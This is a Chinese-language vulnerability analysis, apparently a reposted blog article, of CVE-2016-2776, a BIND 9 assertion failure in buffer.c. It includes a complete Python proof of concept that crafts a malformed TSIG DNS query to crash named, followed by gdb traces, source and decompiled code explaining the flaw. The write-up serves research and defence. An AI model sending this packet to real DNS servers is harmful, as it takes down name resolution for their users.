Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

[CVE-2016-2776]BIND 9 ‘buffer.c’拒绝服务漏洞

0
0

作者:k0shl 转载请注明出处:https://whereisk0shl.top

2018年的最后一个月,一年又要过去了....

漏洞说明

BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

PoC:

import socket import struct TARGET = ('192.168.200.10', 53) Q_A = 1 Q_TSIG = 250 DNS_MESSAGE_HEADERLEN = 12 def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512): query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01" sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1 tsig_rr = build_tsig_rr(sweet_spot) return query_A + tsig_rr def int16(n): return struct.pack("!H", n) def build_tsig_rr(bind_demarshalled_size): signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09" "\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00") tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00" necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields) necessary_bytes += 2 + 2 # length fields # from sizeof(TSIG RR) bytes conforming the TSIG RR # bind9 uses sizeof(TSIG RR) - 16 to build its own sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16) tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields tsig_data = algo_name + signature_data return tsig_hdr + int16(len(tsig_data)) + tsig_data def generate_padding(n): max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d] buckets = [1] * len(max_per_bucket) min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte max_size = sum(max_per_bucket) + len(buckets) + 2 if not(min_size <= n <= max_size): raise RuntimeException("unsupported amount of bytes") curr_idx, n = 0, n - min_size while n > 0: next_n = max(n - (max_per_bucket[curr_idx] - 1), 0) buckets[curr_idx] = 1 + n - next_n n, curr_idx = next_n, curr_idx + 1 n_padding = lambda amount: chr(amount) + "A" * amount stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00" return stringify(buckets[:4]), stringify(buckets[4:]) if __name__ == "__main__": bombita = build_bind_nuke() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(bombita, TARGET) s.close() 漏洞分析

BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

首先部署BIND 9服务,这时候linux会开启53端口,gdb附加,发送畸形数据包。

可以看到Payload在Additional records字段中,数据包发送后,gdb会命中断点。

gdb-peda$ run Starting program: /usr/sbin/named [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". [New process 9722] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". [New Thread 0xb751ab40 (LWP 9723)] [New Thread 0xb6d19b40 (LWP 9724)] [New Thread 0xb6518b40 (LWP 9725)] Program received signal SIGABRT, Aborted. [Switching to Thread 0xb751ab40 (LWP 9723)] [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x25fa ECX: 0x25fb EDX: 0x6 ESI: 0x1 EDI: 0xb7b23000 --> 0x1a5da8 EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp) EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7fdebdc <__kernel_vsyscall+12>: nop 0xb7fdebdd <__kernel_vsyscall+13>: nop 0xb7fdebde <__kernel_vsyscall+14>: int 0x80 => 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp 0xb7fdebe1 <__kernel_vsyscall+17>: pop edx 0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx 0xb7fdebe3 <__kernel_vsyscall+19>: ret 0xb7fdebe4: int3 [------------------------------------stack-------------------------------------] 0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") 0004| 0xb7515a68 --> 0x6 0008| 0xb7515a6c --> 0x25fb 0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>: xchg ebx,edi) 0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8 0020| 0xb7515a78 --> 0xb7515b14 --> 0x0 0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8) 0028| 0xb7515a80 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGABRT

这时候接收到了一个SIGABRT信号,在调用abort后会到达这个位置,从而中止DNS服务,通过bt的方法回溯一下堆栈调用情况。

gdb-peda$ bt #0 0xb7fdebe0 in __kernel_vsyscall () #1 0xb79ab307 in __GI_raise (sig=sig@entry=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #2 0xb79ac9c3 in __GI_abort () at abort.c:89 #3 0x8002da86 in ?? () #4 0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95 #5 0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95 #6 0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100 #7 0xb7e58b08 in ?? () from /usr/lib/libdns.so.100 #8 0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100 #9 0x80021417 in ?? () #10 0x80021851 in ?? () #11 0x80022ac4 in ?? () #12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95 #13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309 #14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129

可以看到,在#4位置调用了isc_assertion_failed,随后执行了abort然后vsyscall中止服务,#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。

void isc__buffer_add(isc_buffer_t *b, unsigned int n) { /* * Increase the 'used' region of 'b' by 'n' bytes. */ REQUIRE(ISC_BUFFER_VALID(b)); REQUIRE(b->used + n <= b->length); ISC__BUFFER_ADD(b, n); }

在源码中关于isc__buffer_add的描述并没有涉及assert部分,但实际上REQUIRE就是一个断言的函数调用,我们通过IDA来观察这个过程。

首先,当服务端接收到数据包的时候,根据additional records字段会先调用dns_name_towire函数处理名称部分。

isc_result_t dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) { …… dns_name_init(&gp, po); dns_name_init(&gs, so); isc_buffer_init(&gws, gb, sizeof (gb)); offset = target->used; /*XXX*/ methods = dns_compress_getmethods(cctx); if ((methods & DNS_COMPRESS_GLOBAL) != 0) gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws); else gf = ISC_FALSE; /* * Will the compression pointer reduce the message size? */ if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length) gf = ISC_FALSE; if (gf) { if (target->length - target->used < gp.length) return (ISC_R_NOSPACE); (void)memcpy((unsigned char *)target->base + target->used, gp.ndata, (size_t)gp.length); isc_buffer_add(target, gp.length); …… }

这里我取了关键的一部分代码,isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。

我们需要跟踪一下gp的值,实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。

isc_boolean_t dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name, dns_name_t *prefix, dns_name_t *suffix, isc_uint16_t *offset, isc_buffer_t *workspace) { REQUIRE(VALID_CCTX(cctx)); REQUIRE(dns_name_isabsolute(name) == ISC_TRUE); REQUIRE(offset != NULL); return (compress_find(cctx->global, name, prefix, suffix, offset, workspace)); }

gp的值是name的prefix部分,随后进入isc__buffer_add中。

int __cdecl isc__buffer_add(int a1, int a2) { int result; // eax@1 unsigned int v3; // edx@3 result = a1; if ( !a1 || *(_DWORD *)a1 != 1114990113 ) isc_assertion_failed( (int)"buffer.c", 126, 0, (int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))"); v3 = *(_DWORD *)(a1 + 12) + a2; if ( v3 > *(_DWORD *)(a1 + 8) ) isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length"); *(_DWORD *)(a1 + 12) = v3; return result; }

当进入第二个断言错误判断if ( v3 > *(_DWORD *)(a1 + 8) )的时候,我们来看一下这个过程的值,首先a1+8是name结构体中存放name长度的部分。

[------------------------------------stack-------------------------------------] 0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001") 0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>: add ebx,0x5f0aa) 0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998 0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx eax,WORD PTR [esp+0x18]) 0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265") 0020| 0xb74de6c4 --> 0x1 0024| 0xb74de6c8 --> 0x1 0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95 gdb-peda$ x/10x $eax 0xb54c5040: 0x42756621 0xb54c5178 0x00000200 0x0000000c 0xb54c5050: 0x00000000 0x00000000 0xffffffff 0xffffffff 0xb54c5060: 0x00000000 0x00000000

注意b54c5040+8h的位置部分,存放的是长度,这个长度的获取时根据DNS数据包中字段的值决定的,但是如果这个值碰上/0,则会结束。

所以重新看一下发送的数据包,如果碰上/0,则会满足v3,也就是总长度大于字段中存放长度的时候,进入断言判断,DNS服务被中止。


Viewing all articles
Browse latest Browse all 12749